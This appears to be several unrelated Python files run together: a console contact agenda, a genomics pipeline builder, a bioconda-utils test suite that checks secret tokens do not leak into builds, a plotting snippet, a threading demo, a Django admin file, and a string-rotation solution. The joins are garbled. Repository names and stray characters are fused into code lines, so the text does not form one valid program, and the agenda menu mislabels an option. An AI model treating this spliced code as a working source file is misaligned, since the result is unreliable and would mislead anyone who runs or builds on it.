exists. And then save the file in that destination if not os.path.exists(path): os.makedirs(path) # create a new "folder" called files if not exists. fileURL = path + filename fileManager = open(fileURL, 'w'); fileManager.write(json_array); # print messages['success'] + " Contacts saved in agenda..." except: print messages['warning'] + " Problems saving the file" """ Create user: add an user to the database only if the user is not already created in our system. In other case, will return false """ def createUser(user): global messages global agenda created = True if agenda == None or agenda == {}: # If agenda empty or doesn't exit. Creating a new contacts field on dictionary agenda and add the user agenda = {} # Agenda is empty, so create a new contacts field tmpContacts = [] tmpContacts.append(user); agenda['contacts'] = tmpContacts # saving on dictionary print "\n" + messages['success'] + " User added to the agenda \n" else: contacts = agenda['contacts'] if not existContact(user): contacts.append(user) print "\n" + messages['success'] + " This user is not on our database. We're adding it ;-)" else: created = False print "\n" + messages['warning'] + " Not added! This user is already on the Database" """ User index returns -1 if the user is not found on the database. In other cases, returns the index on the array. We use an extra bool parameter called 'allFieldsRequired', this is use When we want to know if all the fields for a user (name, surname and phone) is on our database. When this field is false, means that we only want to check if some of the values of the user is on our database. """ def userIndex(user, contacts, allFieldsRequired): index = -1 # Return variable. -1 == Not found found = False i = 0 while not found and i < len(contacts): # phone is going to be my primary key (Two users can't have the same phone) if (allFieldsRequired): if(contacts[i]['name'] == user['name'] and contacts[i]['surname1'] == user['surname1'] and contacts[i]['surname2'] == user['surname2'] and contacts[i]['phone'] == user['phone']): found = True index = i else: if(contacts[i]['name'] == user['name'] or contacts[i]['surname1'] == user['surname1'] or contacts[i]['surname2'] == user['surname2'] or contacts[i]['phone'] == user['phone']): found = True index = i i += 1; return index def existContact(user): global agenda contacts = agenda['contacts'] index = userIndex(user, contacts, True); if (index == -1): return False else: return True def updateUser(user): global agenda updated = True contacts = agenda['contacts'] index = userIndex(user, contacts, True) if (index != -1): contacts[index]['name'] = user['name'] contacts[index]['phone'] = user['phone'] contacts[index]['surname1'] = user['surname1'] contacts[index]['surname2'] = user['surname2'] else: updated = False # user doesn't exist return updated def deleteUser(user): global agenda deleted = False contacts = agenda['contacts'] index = userIndex(user, contacts, True); if index >= 0: contacts.pop(index) deleted = True return deleted def deleteLastUser(): global agenda contacts = agenda['contacts'] deleted = False if len(agenda['contacts']) >= 1: deleted = True contacts.pop(); return deleted; """ Clear the command line """ def cls(): os.system(['clear','cls'][os.name == 'nt']) """ Returns a dictionary with a readed user """ def introduceUser(): name = raw_input("name: "); surname1 = raw_input("surname1: "); surname2 = raw_input("surname2: "); phone = raw_input("phone: "); newUser = { "name" : name, "surname1" : surname1, "surname2" : surname2, "phone": phone } return newUser def printUser(user): print 'Name: ' + str(user['name']) print 'Phone: ' + str(user['phone']) print 'Surname1: ' + str(user['surname1']) print 'Surname2: ' + str(user['surname2']) def search(): global agenda contacts = agenda['contacts'] print "What do you want to Search?" print "Valid answers: name, phone, surname1, surname2" valid = False toSearch = "" user = { "name" : "", "surname1" : "", "surname2" : "", "phone" : "" } while not valid: toSearch = raw_input("Search by : ") toSearch.lower() valid = True if (toSearch == "all"): valid = True user = introduceUser() index = userIndex(user, contacts, True) elif (toSearch == "name"): user['name'] = raw_input("What is the name? "); elif (toSearch == "phone"): user['phone'] = raw_input("What is the phone? "); elif (toSearch == "surname1"): user['surname1'] = raw_input("What is the surname1? "); elif (toSearch == "surname2"): user['surname2'] = raw_input("What is the surname2? "); else: valid = False if (toSearch != "all"): index = userIndex(user, contacts, False) if (index != -1): print messages['success'] + " User found!" printUser(contacts[index]) else: print messages['fail'] + " User is not found" """ Returns a user created by the user """ def introduceSearch(): user = {} name = ""; surname1 = ""; surname2 = ""; phone = ""; the_name = raw_input("Search by name?: [yes/no]") if (the_name == "yes"): name = raw_input("Name: "); the_phone = raw_input("Search also by phone?: [yes/no]") if (the_phone == "yes"): phone = raw_input("phone: "); surname = raw_input("Search also by surname 1?: [yes/no]") if (surname == "yes"): surname1 = raw_input("surname 1: "); surname = raw_input("Search also by surname 2?: [yes/no]") if (surname == "yes"): surname2 = raw_input("surname 2: "); user = { "name" : name, "surname1" : surname1, "surname2" : surname2, "phone": phone } return user def displayContacts(): global agenda print "Agenda:" for c in agenda['contacts']: print "------" printUser(c) def menu(): option = "" print "----------- MENU -----------" print "create (create entry)" print "delete (delete the last one entry)" print "deleteUser (delete one user)" print "display (delete one user)" print "search (search entry)" print "exit (close program)" print "----------------------------" return str(raw_input("Your option? ")).lower() def main(): global agenda global filename cls() # clear the screen exit = False loadUsers(filename) # load users while not exit: # print agenda['contacts'] option = menu() cls() # clear the screen if (option == "exit"): exit = True elif (option == "create"): newUser = introduceUser() createUser(newUser) elif (option == "delete"): if (deleteLastUser()): print messages['success'] + " user deleted!" else: print messages['warning'] + " user not deleted because there are not any user on the DB!" elif (option == "deleteuser"): user = introduceUser() deleted = deleteUser(user) if (deleted): print messages['success'] + " user deleted!" else: print messages['warning'] + " user not deleted because there are not any user on the DB!" elif (option == "display"): displayContacts() elif (option == "search"): search() else: print "Error. Command not found" saveUsers(filename) # load users main() import pandas as pd from pathlib import Path from collections import defaultdict def run(proj, OG): fastqDir = Path(proj.parameters['fastqDir']) fastqs = pd.read_table(proj.parameters["fastqsFile"], sep='\t', header=0) OG.add('reference','o', {'symlink.chrAll.fa':proj.parameters['chrAllFile']}) for i, r in fastqs.iterrows(): OG.add('fastq', ".".join([r['flowcell'],r['lane'],r['barcode']]), { 'R1': fastqDir / r['flowcell'] / r['lane'] / f"bc{r['barcode']}_R1.fastq.gz", 'R2': fastqDir / r['flowcell'] / r['lane'] / f"bc{r['barcode']}_R2.fastq.gz", 'sampleId': r['individual'] }, OG['reference'] ) OG.add('fastqSummary','o',deps=OG['fastq']) sampleFastqOs = defaultdict(list) for o in OG['fastq']: sampleFastqOs[o.params['sampleId']].append(o) for smId,fqOs in sampleFastqOs.items(): OG.add('sample',smId,deps=fqOs) OG.add('sampleSummary','o',deps=OG['sample']) ped = pd.read_table(proj.parameters["pedigree"], sep='\t', header=0) for i, r in ped.iterrows(): if r['fatherId'] == '.' or r['motherId'] == '.': continue if not set([r['fatherId'],r['motherId'],r['personId']]).issubset(set(sampleFastqOs)): continue OG.add('trio',r['personId'], {"familyId":r['familyId'],"sex":r['sex'],"affected":r['affected'] }, [ OG['sample',r['fatherId']], OG['sample',r['motherId']], OG['sample',r['personId']] ]) OG.add('trioSummary','o',deps=OG['trio']) import os import sys import subprocess as sp import pytest import yaml import tempfile import requests import uuid import contextlib import tarfile import logging import shutil from textwrap import dedent from bioconda_utils import utils from bioconda_utils import pkg_test from bioconda_utils import docker_utils from bioconda_utils import build from bioconda_utils import upload from helpers import ensure_missing, Recipes # TODO: need channel order tests. Could probably do this by adding different # file:// channels with different variants of the same package # Label that will be used for uploading test packages to anaconda/binstar TEST_LABEL = 'bioconda-utils-test' # PARAMS and ID are used with pytest.fixture. The end result is that, on Linux, # any tests that depend on a fixture that uses PARAMS will run twice (once with # docker, once without). On OSX, only the non-docker runs. SKIP_DOCKER_TESTS = sys.platform.startswith('darwin') if SKIP_DOCKER_TESTS: PARAMS = [False] IDS = ['system conda'] else: PARAMS = [True, False] IDS = ['with docker', 'system conda'] @contextlib.contextmanager def ensure_env_missing(env_name): """ context manager that makes sure a conda env of a particular name does not exist, deleting it if needed. """ def _clean(): p = sp.run( ['conda', 'env', 'list'], stdout=sp.PIPE, stderr=sp.STDOUT, check=True, universal_newlines=True) if env_name in p.stdout: p = sp.run( ['conda', 'env', 'remove', '-y', '-n', env_name], stdout=sp.PIPE, stderr=sp.STDOUT, check=True, universal_newlines=True) _clean() yield _clean() # ---------------------------------------------------------------------------- # FIXTURES # @pytest.fixture(scope='module') def recipes_fixture(): """ Writes example recipes (based on test_case.yaml), figures out the package paths and attaches them to the Recipes instance, and cleans up afterward. """ r = Recipes('test_case.yaml') r.write_recipes() r.pkgs = {} for k, v in r.recipe_dirs.items(): r.pkgs[k] = utils.built_package_paths(v) yield r for pkgs in r.pkgs.values(): for pkg in pkgs: ensure_missing(pkg) @pytest.fixture(scope='module', params=PARAMS, ids=IDS) def single_build(request, recipes_fixture): """ Builds the "one" recipe. """ if request.param: docker_builder = docker_utils.RecipeBuilder(use_host_conda_bld=True) mulled_test = True else: docker_builder = None mulled_test = False build.build( recipe=recipes_fixture.recipe_dirs['one'], recipe_folder='.', pkg_paths=recipes_fixture.pkgs['one'], docker_builder=docker_builder, mulled_test=mulled_test, ) yield recipes_fixture.pkgs['one'] for pkg in recipes_fixture.pkgs['one']: ensure_missing(pkg) # TODO: need to have a variant of this where TRAVIS_BRANCH_NAME="master" in # order to properly test for upload. @pytest.fixture(scope='module', params=PARAMS, ids=IDS) def multi_build(request, recipes_fixture): """ Builds the "one", "two", and "three" recipes. """ if request.param: docker_builder = docker_utils.RecipeBuilder(use_host_conda_bld=True) mulled_test = True else: docker_builder = None mulled_test = False build.build_recipes( recipe_folder=recipes_fixture.basedir, docker_builder=docker_builder, config={}, mulled_test=mulled_test, ) built_packages = recipes_fixture.pkgs yield built_packages for pkgs in built_packages.values(): for pkg in pkgs: ensure_missing(pkg) @pytest.fixture(scope='module') def single_upload(): """ Creates a randomly-named recipe and uploads it using a label so that it doesn't affect the main bioconda channel. Tests that depend on this fixture get a tuple of name, pakage, recipe dir. Cleans up when it's done. """ name = 'upload-test-' + str(uuid.uuid4()).split('-')[0] r = Recipes( ''' {0}: meta.yaml: | package: name: {0} version: "0.1" '''.format(name), from_string=True) r.write_recipes() r.pkgs = {} r.pkgs[name] = utils.built_package_paths(r.recipe_dirs[name]) build.build( recipe=r.recipe_dirs[name], recipe_folder='.', pkg_paths=r.pkgs[name], docker_builder=None, mulled_test=False ) pkg = r.pkgs[name][0] upload.anaconda_upload(pkg, label=TEST_LABEL) yield (name, pkg, r.recipe_dirs[name]) sp.run( ['anaconda', '-t', os.environ.get('ANACONDA_TOKEN'), 'remove', 'bioconda/{0}'.format(name), '--force'], stdout=sp.PIPE, stderr=sp.STDOUT, check=True, universal_newlines=True) # ---------------------------------------------------------------------------- @pytest.mark.skipif( not os.environ.get('ANACONDA_TOKEN'), reason='No ANACONDA_TOKEN found' ) def test_upload(single_upload): name, pkg, recipe = single_upload env_name = 'bioconda-utils-test-' + str(uuid.uuid4()).split('-')[0] with ensure_env_missing(env_name): sp.run( ['conda', 'create', '-n', env_name, '-c', 'bioconda/label/{0}'.format(TEST_LABEL), name], stdout=sp.PIPE, stderr=sp.STDOUT, check=True, universal_newlines=True) def test_single_build_only(single_build): for pkg in single_build: assert os.path.exists(pkg) @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') def test_single_build_with_post_test(single_build): for pkg in single_build: pkg_test.test_package(pkg) @pytest.mark.long_running def test_multi_build(multi_build): for v in multi_build.values(): for pkg in v: assert os.path.exists(pkg) @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') def test_docker_builder_build(recipes_fixture): """ Tests just the build_recipe method of a RecipeBuilder object. """ docker_builder = docker_utils.RecipeBuilder(use_host_conda_bld=True) pkgs = recipes_fixture.pkgs['one'] docker_builder.build_recipe( recipes_fixture.recipe_dirs['one'], build_args='', env={}) for pkg in pkgs: assert os.path.exists(pkg) @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') def test_docker_build_fails(recipes_fixture): "test for expected failure when a recipe fails to build" docker_builder = docker_utils.RecipeBuilder( build_script_template="exit 1") assert docker_builder.build_script_template == 'exit 1' result = build.build_recipes( recipes_fixture.basedir, config={}, docker_builder=docker_builder, mulled_test=True, ) assert not result @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') def test_docker_build_image_fails(): template = ( """ FROM bioconda/bioconda-utils-build-env RUN nonexistent command """) with pytest.raises(sp.CalledProcessError): docker_utils.RecipeBuilder(dockerfile_template=template) def test_conda_purge_cleans_up(): def tmp_dir_exists(d): contents = os.listdir(d) print("conda-bld/:", *contents) for i in contents: if i.startswith('deleteme_'): return True return False bld = docker_utils.get_host_conda_bld(purge=False) assert tmp_dir_exists(bld) bld = docker_utils.get_host_conda_bld(purge=True) assert not tmp_dir_exists(bld) def test_get_deps(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 two: meta.yaml: | package: name: two version: 0.1 requirements: build: - one three: meta.yaml: | package: name: three version: 0.1 requirements: build: - one run: - two """, from_string=True) r.write_recipes() assert list(utils.get_deps(r.recipe_dirs['two'])) == ['one'] assert list(utils.get_deps(r.recipe_dirs['three'], build=True)) == ['one'] assert list(utils.get_deps(r.recipe_dirs['three'], build=False)) == ['two'] def test_conda_as_dep(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 requirements: run: - conda """, from_string=True) r.write_recipes() build_result = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=True, ) assert build_result # TODO replace the filter tests with tests for utils.get_package_paths() # def test_filter_recipes_no_skipping(): # """ # No recipes have skip so make sure none are filtered out. # """ # r = Recipes( # """ # one: # meta.yaml: | # package: # name: one # version: "0.1" # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # assert len(recipes) == 1 # filtered = list( # utils.filter_recipes(recipes, channels=['bioconda'])) # assert len(filtered) == 1 # # # def test_filter_recipes_skip_is_true(): # r = Recipes( # """ # one: # meta.yaml: | # package: # name: one # version: "0.1" # build: # skip: true # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # filtered = list( # utils.filter_recipes(recipes)) # print(filtered) # assert len(filtered) == 0 # # # def test_filter_recipes_skip_is_true_with_CI_env_var(): # """ # utils.filter_recipes has a conditional that checks to see if there's # a CI=true env var which in some cases only causes failure when running on # CI. So temporarily fake it here so that local tests catch errors. # """ # with utils.temp_env(dict(CI="true")): # r = Recipes( # """ # one: # meta.yaml: | # package: # name: one # version: "0.1" # build: # skip: true # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # filtered = list( # utils.filter_recipes(recipes)) # print(filtered) # assert len(filtered) == 0 # # # def test_filter_recipes_skip_not_py27(): # """ # When all but one Python version is skipped, filtering should do that. # """ # # r = Recipes( # """ # one: # meta.yaml: | # package: # name: one # version: "0.1" # build: # skip: True # [not py27] # requirements: # build: # - python # run: # - python # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # filtered = list( # utils.filter_recipes(recipes, channels=['bioconda'])) # # # one recipe, one target # assert len(filtered) == 1 # assert len(filtered[0][1]) == 1 # # # def test_filter_recipes_existing_package(): # "use a known-to-exist package in bioconda" # # # note that we need python as a run requirement in order to get the "pyXY" # # in the build string that matches the existing bioconda built package. # r = Recipes( # """ # one: # meta.yaml: | # package: # name: gffutils # version: "0.8.7.1" # requirements: # build: # - python # run: # - python # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # filtered = list( # utils.filter_recipes(recipes, channels=['bioconda'])) # assert len(filtered) == 0 # # # def test_filter_recipes_force_existing_package(): # "same as above but force the recipe" # # # same as above, but this time force the recipe # # TODO: refactor as py.test fixture # r = Recipes( # """ # one: # meta.yaml: | # package: # name: gffutils # version: "0.8.7.1" # requirements: # run: # - python # """, from_string=True) # r.write_recipes() # recipes = list(r.recipe_dirs.values()) # filtered = list( # utils.filter_recipes( # recipes, channels=['bioconda'], force=True)) # assert len(filtered) == 1 # # # def test_zero_packages(): # """ # Regression test; make sure filter_recipes exits cleanly if no recipes were # provided. # """ # assert list(utils.filter_recipes([])) == [] def test_get_channel_packages(): with pytest.raises(requests.HTTPError): utils.get_channel_packages('bioconda_xyz_nonexistent_channel') utils.get_channel_packages('bioconda') def test_built_package_paths(): r = Recipes( """ one: meta.yaml: | package: name: one version: "0.1" requirements: build: - python 3.6 run: - python 3.6 two: meta.yaml: | package: name: two version: "0.1" build: number: 0 string: ncurses{{ CONDA_NCURSES }}_{{ PKG_BUILDNUM }} """, from_string=True) r.write_recipes() assert os.path.basename( utils.built_package_paths(r.recipe_dirs['one'])[0] ) == 'one-0.1-py36_0.tar.bz2' def test_string_or_float_to_integer_python(): f = utils._string_or_float_to_integer_python assert f(27) == f('27') == f(2.7) == f('2.7') == 27 def test_rendering_sandboxing(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 extra: var: {{ GITHUB_TOKEN }} """, from_string=True) r.write_recipes() env = { # First one is allowed, others are not 'CONDA_ARBITRARY_VAR': 'conda-val-here', 'TRAVIS_ARBITRARY_VAR': 'travis-val-here', 'GITHUB_TOKEN': '', 'BUILDKITE_TOKEN': '', } # If GITHUB_TOKEN is already set in the bash environment, then we get # a message on stdout+stderr (this is the case on travis-ci). # # However if GITHUB_TOKEN is not already set in the bash env (e.g., when # testing locally), then we get a SystemError. # # In both cases we're passing in the `env` dict, which does contain # GITHUB_TOKEN. if 'GITHUB_TOKEN' in os.environ: with pytest.raises(sp.CalledProcessError) as excinfo: pkg_paths = utils.built_package_paths(r.recipe_dirs['one']) build.build( recipe=r.recipe_dirs['one'], recipe_folder='.', pkg_paths=pkg_paths, mulled_test=False, _raise_error=True, ) assert ("'GITHUB_TOKEN' is undefined" in str(excinfo.value.stdout)) else: # recipe for "one" should fail because GITHUB_TOKEN is not a jinja var. with pytest.raises(SystemExit) as excinfo: pkg_paths = utils.built_package_paths(r.recipe_dirs['one']) build.build( recipe=r.recipe_dirs['one'], recipe_folder='.', pkg_paths=pkg_paths, mulled_test=False, ) assert "'GITHUB_TOKEN' is undefined" in str(excinfo.value) r = Recipes( """ two: meta.yaml: | package: name: two version: 0.1 extra: var2: {{ CONDA_ARBITRARY_VAR }} """, from_string=True) r.write_recipes() with utils.temp_env(env): pkg_paths = utils.built_package_paths(r.recipe_dirs['two']) for pkg in pkg_paths: ensure_missing(pkg) build.build( recipe=r.recipe_dirs['two'], recipe_folder='.', pkg_paths=pkg_paths, mulled_test=False, ) for pkg in pkg_paths: t = tarfile.open(pkg) tmp = tempfile.mkdtemp() target = 'info/recipe/meta.yaml' t.extract(target, path=tmp) contents = yaml.load(open(os.path.join(tmp, target)).read()) assert contents['extra']['var2'] == 'conda-val-here', contents def test_sandboxed(): env = { 'CONDA_ARBITRARY_VAR': 'conda-val-here', 'TRAVIS_ARBITRARY_VAR': 'travis-val-here', 'GITHUB_TOKEN': '', 'BUILDKITE_TOKEN': '', } with utils.sandboxed_env(env): print(os.environ) assert os.environ['CONDA_ARBITRARY_VAR'] == 'conda-val-here' assert 'TRAVIS_ARBITRARY_VAR' not in os.environ assert 'GITHUB_TOKEN' not in os.environ assert 'BUILDKITE_TOKEN' not in os.environ def test_env_sandboxing(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 build.sh: | #!/bin/bash if [[ -z $GITHUB_TOKEN ]] then exit 0 else echo "\$GITHUB_TOKEN has leaked into the build environment!" exit 1 fi """, from_string=True) r.write_recipes() pkg_paths = utils.built_package_paths(r.recipe_dirs['one']) with utils.temp_env({'GITHUB_TOKEN': 'token_here'}): build.build( recipe=r.recipe_dirs['one'], recipe_folder='.', pkg_paths=pkg_paths, mulled_test=False ) for pkg in pkg_paths: assert os.path.exists(pkg) ensure_missing(pkg) def test_skip_dependencies(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 two: meta.yaml: | package: name: two version: 0.1 requirements: build: - one - nonexistent three: meta.yaml: | package: name: three version: 0.1 requirements: build: - one run: - two """, from_string=True) r.write_recipes() pkgs = {} for k, v in r.recipe_dirs.items(): pkgs[k] = utils.built_package_paths(v) for _pkgs in pkgs.values(): for pkg in _pkgs: ensure_missing(pkg) build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) for pkg in pkgs['one']: assert os.path.exists(pkg) for pkg in pkgs['two']: assert not os.path.exists(pkg) for pkg in pkgs['three']: assert not os.path.exists(pkg) # clean up for _pkgs in pkgs.values(): for pkg in _pkgs: ensure_missing(pkg) class TestSubdags(object): def _build(self, recipes_fixture): build.build_recipes(recipes_fixture.basedir, config={}, mulled_test=False) def test_subdags_out_of_range(self, recipes_fixture): with pytest.raises(ValueError): with utils.temp_env({'SUBDAGS': '1', 'SUBDAG': '5'}): self._build(recipes_fixture) def test_subdags_more_than_recipes(self, caplog, recipes_fixture): with caplog.at_level(logging.INFO): with utils.temp_env({'SUBDAGS': '5', 'SUBDAG': '4'}): self._build(recipes_fixture) assert 'Nothing to be done' in caplog.records[-1].getMessage() @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') def test_build_empty_extra_container(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 extra: container: # empty """, from_string=True) r.write_recipes() pkgs = utils.built_package_paths(r.recipe_dirs['one']) build_result = build.build( recipe=r.recipe_dirs['one'], recipe_folder='.', pkg_paths=pkgs, mulled_test=True, ) assert build_result.success for pkg in pkgs: assert os.path.exists(pkg) ensure_missing(pkg) @pytest.mark.skipif(SKIP_DOCKER_TESTS, reason='skipping on osx') @pytest.mark.long_running def test_build_container_default_gcc(tmpdir): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 test: commands: - gcc --version - 'gcc --version | grep "gcc (GCC) 4.8.2 20140120 (Red Hat 4.8.2-15)"' """, from_string=True) r.write_recipes() # Tests with the repository's Dockerfile instead of already uploaded images. # Copy repository to image build directory so everything is in docker context. image_build_dir = os.path.join(tmpdir, "repo") src_repo_dir = os.path.join(os.path.dirname(__file__), "..") shutil.copytree(src_repo_dir, image_build_dir) # Dockerfile will be recreated by RecipeBuilder => extract template and delete file dockerfile = os.path.join(image_build_dir, "Dockerfile") with open(dockerfile) as f: dockerfile_template = f.read().replace("{", "{{").replace("}", "}}") os.remove(dockerfile) docker_builder = docker_utils.RecipeBuilder( dockerfile_template=dockerfile_template, use_host_conda_bld=True, image_build_dir=image_build_dir, ) pkg_paths = utils.built_package_paths(r.recipe_dirs['one']) build_result = build.build( recipe=r.recipe_dirs['one'], recipe_folder='.', pkg_paths=pkg_paths, docker_builder=docker_builder, mulled_test=False, ) assert build_result.success def test_conda_forge_pins(caplog): caplog.set_level(logging.DEBUG) r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 requirements: run: - zlib {{ zlib }} """, from_string=True) r.write_recipes() build_result = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) assert build_result for k, v in r.recipe_dirs.items(): for i in utils.built_package_paths(v): assert os.path.exists(i) ensure_missing(i) def test_bioconda_pins(caplog): """ htslib currently only provided by bioconda pinnings """ caplog.set_level(logging.DEBUG) r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 requirements: run: - htslib """, from_string=True) r.write_recipes() build_result = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) assert build_result for k, v in r.recipe_dirs.items(): for i in utils.built_package_paths(v): assert os.path.exists(i) ensure_missing(i) def test_load_meta_skipping(): """ Ensure that a skipped recipe returns no metadata """ r = Recipes( """ one: meta.yaml: | package: name: one version: "0.1" build: skip: true """, from_string=True) r.write_recipes() recipe = r.recipe_dirs['one'] assert utils.load_all_meta(recipe) == [] def test_variants(): """ Multiple variants should return multiple metadata """ r = Recipes( """ one: meta.yaml: | package: name: one version: "0.1" requirements: build: - mypkg {{ mypkg }} """, from_string=True) r.write_recipes() recipe = r.recipe_dirs['one'] # Write a temporary conda_build_config.yaml that we'll point the config # object to: tmp = tempfile.NamedTemporaryFile(delete=False).name with open(tmp, 'w') as fout: fout.write( dedent( """ mypkg: - 1.0 - 2.0 """)) config = utils.load_conda_build_config() config.exclusive_config_file = tmp assert len(utils.load_all_meta(recipe, config)) == 2 def test_cb3_outputs(): r = Recipes( """ one: meta.yaml: | package: name: one version: "0.1" outputs: - name: libone - name: py-one requirements: - {{ pin_subpackage('libone', exact=True) }} - python {{ python }} """, from_string=True) r.write_recipes() r.recipe_dirs['one'] build_result = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) assert build_result for k, v in r.recipe_dirs.items(): for i in utils.built_package_paths(v): assert os.path.exists(i) ensure_missing(i) def test_compiler(): r = Recipes( """ one: meta.yaml: | package: name: one version: 0.1 requirements: build: - {{ compiler('c') }} host: - python run: - python """, from_string=True) r.write_recipes() build_result = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) assert build_result for k, v in r.recipe_dirs.items(): for i in utils.built_package_paths(v): assert os.path.exists(i) ensure_missing(i) def test_nested_recipes(): """ Test get_recipes ability to identify different nesting depths of recipes """ r = Recipes( """ shallow: meta.yaml: | package: name: shallow version: "0.1" build.sh: | #!/bin/bash echo "Shallow Created" pwd normal/normal: meta.yaml: | package: name: normal version: "0.1" build: skip: true requirements: build: - python 3.6 build.sh: | #!/bin/bash echo "Testing build.sh through python" python -h deep/deep/deep: meta.yaml: | package: name: deep version: "0.1" requirements: build: - python run: - python build.sh: | #!/bin/bash ## Empty script deeper/deeper/deeper/deeper: meta.yaml: | package: name: deeper version: "0.1" F/I/V/E/deep: meta.yaml: | package: name: fivedeep version: "0.1" requirements: build: - python 3.6 run: - python 3.6 S/I/X/De/e/ep: meta.yaml: | package: name: ep version: "0.1" S/E/V/E/N/D/eep: meta.yaml: | package: name: eep version: "0.1" T/W/E/N/T/Y/N/E/S/T/D/I/R/E/C/T/O/R/Y/DEEP: meta.yaml: | package: name: twentydeep version: "0.1" """, from_string=True) r.write_recipes() build_results = build.build_recipes( r.basedir, config={}, packages="*", testonly=False, force=False, mulled_test=False, ) assert build_results assert len(list(utils.get_recipes(r.basedir))) == 8 for k, v in r.recipe_dirs.items(): for i in utils.built_package_paths(v): assert os.path.exists(i) ensure_missing(i) sbrugman/probfit # -*- coding: utf-8 -*- import matplotlib.pyplot as plt from probfit.pdf import Polynomial from probfit.plotting import draw_pdf bound = (-10, 10) p = Polynomial(3) arg = dict(c_0=0.0, c_1=1, c_2=2, c_3=3) draw_pdf(p, arg=arg, bound=bound, label=str(arg), density=False) p = Polynomial(2) arg = dict(c_0=0.0, c_1=1, c_2=2) draw_pdf(p, arg=arg, bound=bound, label=str(arg), density=False) plt.grid(True) plt.legend().get_frame().set_alpha(0.5) 0 from threading import Thread import time def ThreadDemo(name,repeat,delay): print("Execution of " + name + " started!") while repeat > 0: time.sleep(delay) print("Executions left for : " + name + " = " + str(repeat)) repeat -= 1 print("Execution of " + name + " ended!") def __main__(): print("Execution of main begins here") t1 = Thread(target = ThreadDemo, args = ("Thread1",5,1)) # args has to be a tuple t2 = Thread(target = ThreadDemo, args = ("Thread2",5,2)) t1.start() t2.start() print("Execution of main ends here!") __main__() from django.contrib.gis import admin from models import * admin.site.register(PointLocation, admin.OSMGeoAdmin) admin.site.register(MultiPointLocation, admin.OSMGeoAdmin) admin.site.register(PolyLocation, admin.OSMGeoAdmin) admin.site.register(MultiPolyLocation, admin.OSMGeoAdmin) class Solution: def rotateString(self, A, B): """ :type A: str :type B: str :rtype: bool """ return len(B) == len(A) and B in A + Acruiseresearchgroup/G-CREWE1-10 """ Copyright (c) 2018, . Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import networkx as nx import sklearn.metrics.pairwise from scipy.sparse import coo_matrix from sklearn.neighbors import KDTree from settings import * import gcn.embedding as gcn import scipy.sparse as sp import numpy as np import math def align_graphs(args, nx_g1, nx_g2, g1_node_num, g2_node_num, g1_node_attrs, g2_node_attrs, embed_way="reg"): """ :param g2_node_attrs: :param g1_node_attrs: :param args: :param nx_g1: :param nx_g2: :param g1_node_num: :param g2_node_num: :param embed_way: "xNetMF" or "gcn" :return: nodes similarities matrix """ # Learn embeddings and save to output print("learning representations...") num_buckets = args.num_buckets # base of log for log scale if num_buckets == 1: num_buckets = None rep_settings = ParaSettings(max_layer=args.max_layer, alpha=args.alpha, k=args.k, num_buckets=num_buckets, normalize=True, gamma_struc=args.gamma_struc, gamma_attr=args.gamma_attr) adj1 = nx.adjacency_matrix(nx_g1) adj2 = nx.adjacency_matrix(nx_g2) print("get adj matrix for two graphs") rep_g1 = Graph(adj1, all_nodes_num=g1_node_num) rep_g2 = Graph(adj2, all_nodes_num=g2_node_num) if embed_way == "gcn": combine_net = nx.compose(nx_g1, nx_g2) combine_adj = nx.adjacency_matrix(combine_net) similar_matrix = get_simmatrix_gcn(args.num_top, rep_g1, rep_g2, rep_settings, combine_adj) else: similar_matrix = get_simmatrix(args.num_top, rep_g1, rep_g2, g1_node_attrs, g2_node_attrs, rep_settings) return similar_matrix def get_embed_reg(rep_g1, rep_g2, g1_node_attrs, g2_node_attrs, rep_settings): feature_matrix, num_features = get_nodes_feature(rep_g1, rep_g2, rep_settings) total_nodes_num = rep_g1.all_nodes_num + rep_g2.all_nodes_num embeddings = cal_reps_with_landmark(feature_matrix, rep_g1.all_nodes_num, rep_settings, total_nodes_num, g1_node_attrs, g2_node_attrs) return embeddings def get_simmatrix(num_top, rep_g1, rep_g2, g1_node_attrs, g2_node_attrs, rep_settings): embeddings = get_embed_reg(rep_g1, rep_g2, g1_node_attrs, 